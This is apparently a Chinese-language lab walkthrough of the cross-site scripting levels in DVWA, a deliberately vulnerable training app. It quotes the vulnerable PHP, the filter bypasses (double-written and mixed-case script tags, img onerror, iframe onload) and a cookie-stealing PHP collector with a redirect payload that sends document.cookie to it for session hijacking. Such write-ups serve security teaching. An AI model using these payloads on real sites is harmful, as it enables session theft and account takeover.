DVWA——XSS(跨站脚本攻击)
XSS概念:
XSS攻击全称跨站脚本攻击,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。
XSS有三种:
反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。
存储型XSS:将用户输入的数据存储在服务器端。
DOM XSS:通过修改页面的DOM节点形成的XSS。(可能是存储型也可能使反射型)
反射型XSS:
Low级:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
我们可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
所以我们构造payload语句:<script>alert(/111/)</script>,可以看到直接就执行了我们的js代码。
在www目录下创建一个cookie.php文件,内容如下:
<?php
$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中 file_put_contents('cookie.txt',$cookie);//把偷取的用户cookie写到cookie.txt文件中
?>
编写js代码将页面的cookie发送到cookie.php中:<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>#
构造并发送攻击URL:http://192.168.35.132/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>
后面的参数要进行URL编码,
页面发生跳转后,我们发现在WWW目录下多了个 cookie文件,打开发现成功拿到了cookie。。
接下来我们可以利用得到的cookie登录DVWA的首页:
F12调出cookie右键点击编辑把PHPSESSEN换成我们获取的。然后访问DVWA的index.php,就可以直接以管理员的身份进去了
Medium级:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。
1.双写绕过。输入<sc<script>ript>alert(/111/)</script>,成功弹框:
2.大小写绕过。输入<ScRipt>alert(/121/)</script>,成功弹框:
出现弹框说明存在xss,然后利用js代码获取cookie,成功拿到cookie后,再进行登录操作。
High级:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
这一关我们可以看到双写绕过、大小写混淆绕过不再有效。
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
输入<img src=1 onerror=alert(/147/)>,成功弹框:
还可以输入:Iframe:<iframe onload=alert(1)>,成功弹框-
然后就是和上面一样的操作,不在赘述。
存储型XSS:
Low级:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
可以看到,对输入并没有做XSS方面的过滤与检查,直接将用户提交的内容插入数据库,输入点在两个输入框都有,但是后面的几种难度都对Message域的输入内容进行了htmlspecialchars转义,
此这里存在明显的存储型XSS漏洞。
这里我们可以发现 name处支持输入的字符串长度有限,无法随意输入,是由于前端代码作了限制,如下:
我们只需要把maxlength的10修改一下就可以了。(火狐浏览器按F12就会出来前端代码,双击就可以修改)
构造如下js代码,成功弹框:
<script>alert(/xss/)</script>
Medium级:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
这一关和上面的反射型情况一样,也是可以用双写绕过:<sc<script>ript>alert(/xss/)</script>
上面因为name输入字符长度问题我们改的网页参数,这里我们用brup抓包的方式来做:
或者大小写混合绕过:<Script>alert(/xss/)</script> 这样都可以,和上面一样。
High级:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input
$message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
我们这里可以抓包改name参数为<img src=1 onerror=alert(1)>: